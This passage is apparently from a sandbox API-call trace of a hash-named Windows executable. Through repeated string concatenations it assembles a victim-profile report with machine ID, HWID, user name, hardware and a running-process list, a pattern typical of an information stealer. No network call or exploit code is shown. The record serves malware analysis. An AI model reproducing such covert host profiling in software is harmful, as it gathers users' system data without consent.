16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe"
[0054.851] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe ["
[0054.851] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d968
[0054.851] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da28
[0054.851] GetLastError () returned 0x7a
[0054.851] SetLastError (dwErrCode=0x7a)
[0054.851] GetLastError () returned 0x7a
[0054.851] SetLastError (dwErrCode=0x7a)
[0054.851] GetLastError () returned 0x7a
[0054.851] SetLastError (dwErrCode=0x7a)
[0054.851] GetLastError () returned 0x7a
[0054.851] SetLastError (dwErrCode=0x7a)
[0054.851] GetLastError () returned 0x7a
[0054.851] SetLastError (dwErrCode=0x7a)
[0054.851] GetLastError () returned 0x7a
[0054.851] SetLastError (dwErrCode=0x7a)
[0054.851] GetLastError () returned 0x7a
[0054.851] SetLastError (dwErrCode=0x7a)
[0054.851] GetLastError () returned 0x7a
[0054.852] SetLastError (dwErrCode=0x7a)
[0054.852] GetLastError () returned 0x7a
[0054.852] SetLastError (dwErrCode=0x7a)
[0054.852] GetLastError () returned 0x7a
[0054.852] SetLastError (dwErrCode=0x7a)
[0054.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da28 | out: hHeap=0x670000) returned 1
[0054.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0054.852] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [", lpString2="2004" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004"
[0054.852] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n"
[0054.852] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x26c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
[0054.853] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- "
[0054.853] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- ", lpString2="SearchUI.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe"
